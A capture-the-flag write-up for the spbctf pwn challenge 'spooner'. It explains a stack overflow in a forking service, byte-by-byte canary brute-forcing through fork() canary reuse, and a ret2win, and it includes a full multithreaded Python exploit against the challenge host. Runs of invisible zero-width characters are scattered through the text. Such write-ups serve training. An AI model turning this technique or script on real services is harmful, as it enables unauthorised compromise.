← Back to Writeups
CUSTOMMediumpwn

spooner

XESXOR9/2/20265 min read
#pwn#custom#medium#canary_byte_bruteforce#fork_canary_reuse#return_address_overwrite

spooner

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: canary_byte_bruteforce, fork_canary_reuse, return_address_overwrite

Summary

Task: forking x86-64 TCP pwn service with stack canary + NX + no PIE; handler reads an attacker-controlled length then read_n overflows a stack buffer at [rbp-0x90]. Solution: exploit fork() canary reuse to brute-force the 7 unknown canary bytes one at a time (using the 'Bye!' clean-return banner as an oracle), then ret2win into win_fcn (0x400b2a) which reads flag.txt.

spooner — spbctf

Description

nc 109.233.56.90 11591 files: https://pwn.spbctf.ru/files/canary/task_spooner

A forking TCP pwn service. We are given the binary task_spooner (ELF 64-bit LSB, x86-64, dynamically linked, not stripped). The goal is to read flag.txt on the remote host.

Analysis

Protections

ProtectionState
Stack canaryEnabled
NXEnabled
PIENo PIE (base 0x400000)
RELROPartial

No PIE means all binary addresses are fixed — the ret2win target is known statically. The stack canary is the only obstacle to a straightforward return address overwrite. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program structure (from objdump -d -M intel)

main — sets up a socket, bind/listen on port 0x1f90 (8080), then an accept loop that fork()s a child per connection. The child calls alarm(5), then handler(fd), then sends the 5-byte string "Bye!" and exits. The "Bye!" is only sent if handler returns cleanly.

win_fcn (0x400b2a) — the ret2win target: fopen("flag.txt","r") → fread 0x100 bytes → fclose → send() the flag back over the current fd.

handler (0x400bea):

  1. sends the 17-byte prompt "Length of data: ".
  2. read_n(fd, [rbp-0x9a], 10) — reads a length string, atoi() it.
  3. if len > 0: read_n(fd, [rbp-0x90], len) — the length is fully attacker-controlled, so this is an unbounded stack buffer overflow. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read_n (0x400ab7) — reads byte-by-byte with recv(); stops on newline (0x0a) or connection close; NUL-terminates the buffer. Crucially it does not stop on a NUL byte in the payload, so payloads may contain 0x00 but not 0x0a.

Offset derivation

  • Overflow buffer at [rbp-0x90], canary at [rbp-0x8].
  • Padding to canary = 0x90 - 0x8 = 136 bytes.
  • Stack layout after the buffer: canary(8) + saved RBP(8) + return address(8).

Final payload shape:

136*"A" + canary(8) + 8*"B" (saved RBP) + p64(0x400b2a)   # win_fcn

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

fork() stack-canary byte-by-byte brute force

Because the server fork()s per connection, each child inherits the same canary as the parent — the canary value is constant across all connections. This turns guessing a 56-bit canary (7 unknown bytes; the first byte is always 0x00) into brute-forcing 7 bytes, 256 tries each (avg ~896 requests total).

Oracle. After handler returns cleanly, main sends "Bye!". If any canary byte is wrong, __stack_chk_fail aborts the child → no "Bye!". So: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Send payload = 136*"A" + known_canary_prefix + test_byte.
  • Response contains "Bye!" → the guessed byte is correct.
  • No "Bye!" (crash) → wrong byte.

Details:

  • The first canary byte is always 0x00 (verified: overwriting it with 0xff crashes), so start the known prefix with \x00.
  • Skip test byte 0x0a, since read_n stops on newline and would truncate the payload.

Recovered canary (little-endian on the stack) = 00 74 91 48 b0 44 85 5e.

Protocol (per connection)

  1. Server sends "Length of data: ".
  2. Client sends "<len>\n".
  3. Client sends exactly <len> payload bytes.
  4. Clean return → server sends "Bye!". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After recovering the canary, send the final ret2win payload; win_fcn opens flag.txt and sends the flag back.

Exploit

python
#!/usr/bin/env python3
import socket, time
from concurrent.futures import ThreadPoolExecutor

HOST = "109.233.56.90"
PORT = 11591

WIN = 0x400b2a
PAD = 0x90 - 0x8    # 136

def p64(v):
    return v.to_bytes(8, "little")

def try_payload(payload):
    """Return True if server responds with 'Bye!' (clean return / canary ok)."""
    try:
        s = socket.create_connection((HOST, PORT), timeout=4)
        s.settimeout(3)
        s.recv(64)                              # "Length of data: "
        s.sendall(str(len(payload)).encode() + b"\n")
        s.sendall(payload)
        data = b""
        try:
            while True:
                chunk = s.recv(64)
                if not chunk:
                    break
                data += chunk
                if b"Bye!" in data:
                    break
        except socket.timeout:
            pass
        s.close()
        return b"Bye!" in data
    except Exception:
        return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def test_byte(canary, byte):
    payload = b"A" * PAD + canary + bytes([byte])
    for _ in range(2):                          # retry on transient errors
        r = try_payload(payload)
        if r is None:
            time.sleep(0.2)
            continue
        return byte if r else None
    return None

def brute_canary():
    canary = b"\x00"                            # first canary byte is always 0x00
    for i in range(1, 8):
        found = None
        with ThreadPoolExecutor(max_workers=16) as ex:
            # skip 0x0a: read_n stops on newline and would truncate the payload
            futs = {ex.submit(test_byte, canary, b): b for b in range(256) if b != 0x0a}
            for f in futs:
                try:
                    res = f.result()
                except Exception:
                    res = None
                if res is not None:
                    found = res
        if found is None:
            print(f"[!] byte {i} not found", flush=True)
            return None
        canary += bytes([found])
        print(f"[+] byte {i} = 0x{found:02x}  canary={canary.hex()}", flush=True)
    return canary
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def get_flag(canary):
    payload = b"A" * PAD + canary + b"B" * 8 + p64(WIN)
    s = socket.create_connection((HOST, PORT), timeout=6)
    s.settimeout(5)
    s.recv(64)
    s.sendall(str(len(payload)).encode() + b"\n")
    s.sendall(payload)
    data = b""
    try:
        while True:
            chunk = s.recv(256)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    s.close()
    return data

if __name__ == "__main__":
    print("[*] brute-forcing canary (parallel)...", flush=True)
    canary = brute_canary()
    if canary:
        print(f"[+] CANARY = {canary.hex()}", flush=True)   # 00749148b044855e
        out = get_flag(canary)
        print("[+] RESPONSE:", out, flush=True)
        print(out.decode(errors="ignore"), flush=True)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Running it brute-forces the canary quickly (16 parallel threads) and returns the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍